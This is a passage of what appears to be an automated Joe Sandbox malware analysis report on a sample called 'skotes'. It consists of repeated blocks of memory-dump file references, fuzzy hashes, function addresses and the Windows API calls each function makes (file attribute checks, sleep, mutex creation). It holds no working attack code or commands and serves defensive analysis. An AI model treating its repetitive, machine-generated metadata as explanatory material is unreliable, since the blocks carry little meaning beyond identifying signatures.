Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 4a6cb2a8a09cb2f655c016013bf2bcbee4dcec1526e559f2c430738c6d2725f9
Instruction ID: 4464fb12c6728a8e84f81aecc31518a511486cd4120d5b94bed7844b22adf3fb
Opcode Fuzzy Hash: 4a6cb2a8a09cb2f655c016013bf2bcbee4dcec1526e559f2c430738c6d2725f9
Instruction Fuzzy Hash: 0D312831B08144DBEF189B78DCC9B9DB7E2DBC6310F2486A9E1289B3E5D7359990C711

Function 00B79F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B79F47
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: a4acad45d06e7962ff1f364e3d2395e17ff241b3968281c8f22407e0ac153b4d
Instruction ID: d0a13d76cb45ad7f1d4a2f905d35ce4b51d0292a8fa04a350d7d1b50f62320a9
Opcode Fuzzy Hash: a4acad45d06e7962ff1f364e3d2395e17ff241b3968281c8f22407e0ac153b4d
Instruction Fuzzy Hash: 17315D31B041449BEB089B78DC9879CB7E2EBC6310F24C699E128DB3D5D7359980C752

Function 00B7A079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B7A07C
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 9cee6b61561b63d6d86ae4a90593e0ce99e2655e7efb17416b3098245479abef
Instruction ID: 796f4cda25146abd6090a6e742652b65e28739a34de5afd49bbeaa19f402233f
Opcode Fuzzy Hash: 9cee6b61561b63d6d86ae4a90593e0ce99e2655e7efb17416b3098245479abef
Instruction Fuzzy Hash: 8F316C31B041049BEB089B78DCC9B5DF7E2DBC6310F24C699E128AB3D5D7359980CB12

Function 00B7A1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B7A1B1
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: a6400ab706ef0498a17cf7bb7583edc1558eee0e9d0a0ef06c22c4ad583b364a
Instruction ID: 09e5af74e2fe321cf2f07649b2c83172e6e6f82696854771f6bb254261ace003
Opcode Fuzzy Hash: a6400ab706ef0498a17cf7bb7583edc1558eee0e9d0a0ef06c22c4ad583b364a
Instruction Fuzzy Hash: FB312A31B051449BEB089B68DCC9B5DBBE2DBC7310F248299E128AB2E5D77599808712

Function 00B7A2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B7A2E6
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 9bed9f8341b05382cf007212e777cc2239725db519b115a285d4a4bf7ed292d0
Instruction ID: 1c4a7812b2113ac55dd5f2274d1422217f0e81e0aa93f0f25ef692d53773d350
Opcode Fuzzy Hash: 9bed9f8341b05382cf007212e777cc2239725db519b115a285d4a4bf7ed292d0
Instruction Fuzzy Hash: 55312A31B041449BEB089B68DCC975CB7F2EBC6310F24C299E1289B2E5D77599808712

Function 00B7A418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B7A41B
Sleep.KERNEL32(00000064,?), ref: 00B7A963
CreateMutexA.KERNEL32(00000000,00000000,00BD3254), ref: 00B7A981

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
